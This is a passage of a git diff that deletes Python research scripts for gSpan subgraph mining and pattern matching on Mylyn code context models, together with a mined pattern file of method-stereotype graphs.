{G1s.index(G1)}') - continue # 如果存在超时,跳过 - for i in confidence: - confidence[i] = confidence.get(i) / total_match - confidence = sorted(confidence.items(), key=lambda d: d[1], reverse=True) # [(3, 1.0), (17, 0.5), (14, 0.5)] - k = 0 - if k == 0: - output, labels = [], [] - # print(confidence) - for top_c in confidence: - node_id = top_c[0] - output.append(top_c[1]) - # print(G1.nodes.get(node_id)) - labels.append(int(G1.nodes.get(node_id)['origin'])) - true_number = 0 - for n in list(G1.nodes): - true_number += int(G1.nodes.get(n)['origin']) - if true_number > 0: - result_full.append(calculate_result_full(labels, output, true_number)) - save_result_stereotype(confidence, G1.nodes, f) - print_result(result_full, 0) - - -def graph_build_and_gspan(min_sup, node_num, project_model_name='my_mylyn'): - project_path = join(root_path, project_model_name, 'repo_first_3') - graph_index = 0 - with open('./no_graph.data', 'w') as f: - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0, 0.8) - print(len(model_dir_list)) - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - graph_text = f't # {graph_index}\n' - f.write(graph_text) - curr_index = 0 - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - vs = [] - for vertex in vertex_list: - stereotype, _id = vertex.get('stereotype'), int(vertex.get('id')) - # 去除 notfound - if not stereotype == 'NOTFOUND': - vs.append((_id, stereotype)) - for v in sorted(vs, key=lambda x: x[0]): - vertex_text = f'v {v[0] + curr_index} {v[1]}\n' - f.write(vertex_text) - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - start, end, label = int(edge.get('start')), int(edge.get('end')), edge.get('label') - keys = [x[0] for x in vs] - if start in keys and end in keys: - edge_text = f'e {start + curr_index} {end + curr_index} {label}\n' - f.write(edge_text) - curr_index += len(vertex_list) - graph_index += 1 - f.write('t # -1') - f.close() - print(graph_index) - - min_support = math.ceil(min_sup * graph_index) # 0.02 * num_of_graphs - print('min_support: ', min_support) - # args_str = f'-h' - if node_num == 0: - args_str = f'-s {min_support} -d True ./no_graph.data' - else: - args_str = f'-s {min_support} -l {node_num} -u {node_num} -d True ./no_graph.data' - FLAGS, _ = parser.parse_known_args(args=args_str.split()) - main(FLAGS) - - -if __name__ == '__main__': - # print(sys.argv) - step = int(sys.argv[1]) if len(sys.argv) > 2 else 3 - # batch_index = int(sys.argv[2]) if len(sys.argv) > 2 else 0 # 798 / 200 = 5 0,1,2,3 - # print(step, batch_index) - min_sup = 0.050 - node_num = 0 - # 挖掘模式库 这里的 gsan库有问题,需要根据报错,将包源码的 append 方法修改为 _append 即可 - # graph_build_and_gspan(min_sup=min_sup, node_num=node_num) - graph_match(step=step, patterns=f'./origin_patterns/no-sup-{min_sup}') diff --git a/rq1/baseline/origin_pattern_match_3.py b/rq1/baseline/origin_pattern_match_3.py deleted file mode 100644 index 2f033c0..0000000 --- a/rq1/baseline/origin_pattern_match_3.py +++ /dev/null @@ -1,363 +0,0 @@ -import os -import sys -import time -from decimal import Decimal -from os.path import join -import math -import networkx as nx -import xml.etree.ElementTree as ET -import numpy as np -import pandas as pd -from networkx.algorithms import isomorphism -from gspan_mining.config import parser -from gspan_mining.main import main - -import multiprocessing - -root_path = join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'params_validation', - 'git_repo_code') - - -def get_models_by_ratio(project: str, start_ratio: float, end_ratio: float): - """ - 返回比例范围内的model,根据first_time排序 - - :param project: 项目 - :param start_ratio: 开始比例 - :param end_ratio: 结束比例 - :return: model_dir数组 - """ - if start_ratio == end_ratio: - return [] - project_path = join(root_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - all_models = [] - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - first_time = code_context_model.get('first_time') - all_models.append([model_dir, first_time]) - all_models = sorted(all_models, key=lambda x: x[1]) - m = np.array(all_models) - return m[int(len(m) * start_ratio):int(len(m) * end_ratio), 0] - - -def load_patterns(patterns): - G2s = [] - with open(patterns) as f: - lines = f.readlines() - for line in lines: - line = line.strip() - if line.startswith('t #'): - g = nx.DiGraph() - if line.startswith('v'): - v = line.split(' ') - g.add_node(int(v[1]), label=v[2]) - if line.startswith('e'): - e = line.split(' ') - g.add_edge(int(e[1]), int(e[2]), label=e[3]) - if line.startswith('#'): - G2s.append(g) - f.close() - return G2s - - -def get_graph(graphs: list[ET.Element], step: int): - gs = [] - if len(graphs) == 0: - return gs - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - edges = graph.find('edges') - edge_list = edges.findall('edge') - g = nx.DiGraph() - true_node = 0 - # true_edge = 0 - # 转化为图结构 - remove_nodes = [] - for node in vertex_list: - g.add_node(int(node.get('id')), label=node.get('stereotype'), origin=node.get('origin')) - if node.get('stereotype') == 'NOTFOUND': - remove_nodes.append(int(node.get('id'))) - else: - if int(node.get('origin')) == 1: - true_node += 1 - for link in edge_list: - g.add_edge(int(link.get('start')), int(link.get('end')), label=link.get('label')) - # if int(link.get('origin')) == 1: - # true_edge += 1 - if true_node > step: - for node_id in remove_nodes: - g.remove_node(node_id) # 会自动删除边 - gs.append(g) - return gs - - -def load_targets(project_model_name: str, step): - project_path = join(root_path, project_model_name, 'repo_first_3') - G1s = [] - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0.9, 1) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, f'new_{step}_step_expanded_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果,分1-step,2-step,3-step扩展图 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - G1s = G1s + get_graph(graphs, step) - return G1s - - -def count_positive(confidence, thres): - count = 0 - for con in confidence: - if con[1] >= thres: - count += 1 - return count - - -def node_match(node1, node2): - return node1['label'] == node2['label'] - - -def edge_match(edge1, edge2): - return edge1['label'] == edge2['label'] - - -def calculate_result(labels, true_number): - if len(labels) == 0: - return [0, 0, 0] - precision = labels.count(1) / len(labels) - recall = labels.count(1) / true_number - if precision + recall == 0: - f1 = 0 - else: - f1 = 2 * precision * recall / (precision + recall) - # print([precision, recall, f1]) - return [precision, recall, f1] - - -def calculate_result_full(labels, output, true_number): - result = [] - for MinConf in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]: - if len(labels) == 0: - result.append([0, 0, 0]) - positive_count = 0 - true_positive_count = 0 - for i in range(len(output)): - if output[i] >= MinConf: - positive_count += 1 - if labels[i] == 1: - true_positive_count += 1 - precision = true_positive_count / positive_count if positive_count != 0 else 0 - recall = true_positive_count / true_number - if precision + recall == 0: - f1 = 0.0 - else: - f1 = 2 * precision * recall / (precision + recall) - # print([precision, recall, f1]) - result.append([precision, recall, f1]) - return result - - -def print_result(result, k): - if k == 0: - s = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] - print(f"{'Threshold':>10} {'Precision':>10} {'Recall':>10} {'F1 Score':>10}") - for minConf in s: - i = s.index(minConf) - p, r, f = 0.0, 0.0, 0.0 - for res in result: - p += res[i][0] - r += res[i][1] - f += res[i][2] - p = Decimal(p / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - r = Decimal(r / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - if p + r > 0: - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - else: - f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - print(f"{minConf:>10.1f} {p:>10.3f} {r:>10.3f} {f:>10.3f}") - else: - p, r, f = 0.0, 0.0, 0.0 - for res in result: - p += res[0] - r += res[1] - f += res[2] - p = Decimal(p / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - r = Decimal(r / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - if p + r > 0: - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - else: - f = Decimal(f / len(result)).quantize(Decimal("0.01"), rounding="ROUND_HALF_UP") - print(f'----------result of top {k}-------\n' - f'Precision: {p}, ' - f'Recall: {r}, ' - f'F1: {f}') - - -def save_result_stereotype(confidence, nodes, f): - f.write("----new match---\n") - confidence = dict(confidence) - for node_id in nodes: - origin_label = nodes.get(node_id)['origin'] - if confidence.get(node_id): - conf = confidence.get(node_id) - # node_id = c[0] - # conf = Decimal(conf).quantize(Decimal("0.01"), rounding="ROUND_FLOOR") - stereotype = nodes.get(node_id)['label'] - f.write(f'{node_id} {origin_label} {conf} {stereotype} {origin_label == "1"} {conf > 0}\n') - elif origin_label == '1': - conf = 0.0 - stereotype = nodes.get(node_id)['label'] - f.write(f'{node_id} {origin_label} {conf} {stereotype} {origin_label == "1"} {conf > 0}\n') - - -def graph_match(step, patterns, batch_index): - G1s = load_targets('my_mylyn', step) - G2s = load_patterns(patterns) - print('G1s', len(G1s), 'G2s', len(G2s)) - result_1, result_3, result_5, result_full = [], [], [], [] - # f = open(f'origin_result/match_result_{step}.txt', 'w') - f = open(f'origin_result/no_new_match_result_{step}_batch_{batch_index}.txt', 'w') - f.write("node_id origin_label confidence stereotype label_result predict_result\n") - # for G1 in G1s: - for G1 in G1s[batch_index * 30: (batch_index + 1) * 30]: # 遍历所有测试集的图 - # if G1s.index(G1) in [291, 368]: - # continue - print(f'handling: {G1s.index(G1)}-{G1}') - begin_time = time.time() - total_match = 0 - confidence = dict() - flag = False - for G2 in G2s: # patterns 0.015 = 144个 - curr_time = time.time() - if curr_time - begin_time > 60 * 10 * step: - flag = True - break - GM = isomorphism.DiGraphMatcher(G1, G2, node_match=node_match, edge_match=edge_match) - if GM.subgraph_is_isomorphic(): - for sub_iter in GM.subgraph_isomorphisms_iter(): - total_match += 1 - nodes = list(map(int, list(sub_iter.keys()))) - for node in nodes: - if confidence.get(node): - confidence[node] = confidence[node] + 1 - else: - confidence[node] = 1 - # sub_G1: nx.DiGraph = G1.subgraph(nodes) - # print(sub_G1.nodes.data(), sub_G1.edges.data()) - if flag: - print(f'continue {G1s.index(G1)}') - continue - for i in confidence: - confidence[i] = confidence.get(i) / total_match - confidence = sorted(confidence.items(), key=lambda d: d[1], reverse=True) # [(3, 1.0), (17, 0.5), (14, 0.5)] - k = 0 - if k == 0: - output, labels = [], [] - # print(confidence) - for top_c in confidence: - node_id = top_c[0] - output.append(top_c[1]) - # print(G1.nodes.get(node_id)) - labels.append(int(G1.nodes.get(node_id)['origin'])) - true_number = 0 - for n in list(G1.nodes): - true_number += int(G1.nodes.get(n)['origin']) - if true_number > 0: - result_full.append(calculate_result_full(labels, output, true_number)) - save_result_stereotype(confidence, G1.nodes, f) - # print_result(result_1, 1) - # print_result(result_3, 3) - # print_result(result_5, 5) - pd.to_pickle(result_full, f'./origin_result/no_result_full_{step}_batch_{batch_index}.pkl') - print_result(result_full, 0) - - -def graph_build_and_gspan(min_sup, node_num, project_model_name='my_mylyn'): - project_path = join(root_path, project_model_name, 'repo_first_3') - graph_index = 0 - with open('./no_graph.data', 'w') as f: - # 读取code context model - model_dir_list = get_models_by_ratio(project_model_name, 0, 0.8) - print(len(model_dir_list)) - for model_dir in model_dir_list: - # print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - # 读取code context model,以及doxygen的结果 - tree = ET.parse(model_file) # 拿到xml树 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - graph_text = f't # {graph_index}\n' - f.write(graph_text) - curr_index = 0 - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - vs = [] - for vertex in vertex_list: - stereotype, _id = vertex.get('stereotype'), int(vertex.get('id')) - # 去除 notfound - if not stereotype == 'NOTFOUND': - vs.append((_id, stereotype)) - for v in sorted(vs, key=lambda x: x[0]): - vertex_text = f'v {v[0] + curr_index} {v[1]}\n' - f.write(vertex_text) - edges = graph.find('edges') - edge_list = edges.findall('edge') - for edge in edge_list: - start, end, label = int(edge.get('start')), int(edge.get('end')), edge.get('label') - keys = [x[0] for x in vs] - if start in keys and end in keys: - edge_text = f'e {start + curr_index} {end + curr_index} {label}\n' - f.write(edge_text) - curr_index += len(vertex_list) - graph_index += 1 - f.write('t # -1') - f.close() - print(graph_index) - - min_support = math.ceil(min_sup * graph_index) # 0.02 * num_of_graphs - print('min_support: ', min_support) - # args_str = f'-h' - if node_num == 0: - args_str = f'-s {min_support} -d True ./no_graph.data' - else: - args_str = f'-s {min_support} -l {node_num} -u {node_num} -d True ./no_graph.data' - FLAGS, _ = parser.parse_known_args(args=args_str.split()) - main(FLAGS) - - -if __name__ == '__main__': - # print(sys.argv) - step = int(sys.argv[1]) if len(sys.argv) > 2 else 3 - # batch_index = int(sys.argv[2]) if len(sys.argv) > 2 else 0 # 798 / 200 = 5 0,1,2,3 - # print(step, batch_index) - min_sup = 0.01 - node_num = 0 - # 挖掘模式库 这里的 gsan库有问题,需要根据报错,将包源码的 append 方法修改为 _append 即可 - # graph_build_and_gspan(min_sup=min_sup, node_num=node_num) - for batch_index in range(10): - single_process = multiprocessing.Process(target=graph_match, args=(step, f'./origin_patterns/no-sup-{min_sup}', batch_index)) - # 使用进程对象启动进程执行指定任务 - single_process.start() diff --git a/rq1/baseline/origin_patterns/no-sup-0.01 b/rq1/baseline/origin_patterns/no-sup-0.01 deleted file mode 100644 index 34bb1d7..0000000 --- a/rq1/baseline/origin_patterns/no-sup-0.01 +++ /dev/null @@ -1,1636 +0,0 @@ -t # 0 -v 0 ENTITY -v 1 FIELD -e 0 1 declares -# -t # 1 -v 0 ENTITY -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 2 -v 0 ENTITY -v 1 FIELD -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 3 -v 0 ENTITY -v 1 FIELD -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 4 -v 0 ENTITY -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 5 -v 0 ENTITY -v 1 FIELD -v 2 GET -e 0 1 declares -e 0 2 declares -# -t # 6 -v 0 ENTITY -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 7 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 8 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 9 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 10 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 11 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 12 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 13 -v 0 OTHER -v 1 COLLABORATOR -e 0 1 declares -# -t # 14 -v 0 OTHER -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 15 -v 0 OTHER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 16 -v 0 OTHER -v 1 ABSTRACT -e 0 1 declares -# -t # 17 -v 0 MINIMAL_ENTITY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 18 -v 0 MINIMAL_ENTITY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 19 -v 0 INTERFACE -v 1 ABSTRACT -e 0 1 declares -# -t # 20 -v 0 BOUNDARY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 21 -v 0 BOUNDARY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 22 -v 0 MINIMAL_ENTITY -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 23 -v 0 NON_VOID_COMMAND-COLLABORATOR -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 calls -# -t # 24 -v 0 BOUNDARY-COMMANDER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 25 -v 0 BOUNDARY-COMMANDER -v 1 NON_VOID_COMMAND-COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 26 -v 0 OTHER -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 27 -v 0 ENTITY -v 1 COLLABORATOR -e 0 1 declares -# -t # 28 -v 0 ENTITY -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 29 -v 0 ENTITY -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 30 -v 0 ENTITY -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 31 -v 0 ENTITY -v 1 COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 32 -v 0 ENTITY -v 1 COLLABORATOR -v 2 GET -e 0 1 declares -e 0 2 declares -# -t # 33 -v 0 ENTITY -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 34 -v 0 ENTITY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 35 -v 0 SET-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 36 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -e 0 1 declares -# -t # 37 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 38 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 39 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 40 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -v 3 SET -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 41 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 42 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET-COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 43 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 44 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 45 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 46 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 47 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 48 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 49 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COMMAND-COLLABORATOR -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 50 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 51 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 52 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -v 4 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 53 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 54 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 55 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 56 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 57 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 58 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 59 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 60 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -v 4 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 61 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 62 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 63 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 COMMAND-COLLABORATOR -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 64 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 65 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 66 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 67 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 68 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 SET -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 69 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 70 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 71 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 72 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 73 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 74 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 CONSTRUCTOR -e 0 1 declares -e 0 2 declares -# -t # 75 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 76 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 77 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 1 2 calls -# -t # 78 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND -e 0 1 declares -e 0 2 declares -# -t # 79 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 80 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 81 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 82 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 83 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 84 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -v 4 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 85 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 86 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 SET -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 87 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 88 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 89 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 90 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -v 4 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 91 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 92 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 93 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 94 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 95 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 96 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FACTORY-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 97 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 CONSTRUCTOR -e 0 1 declares -e 0 2 declares -# -t # 98 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 99 -v 0 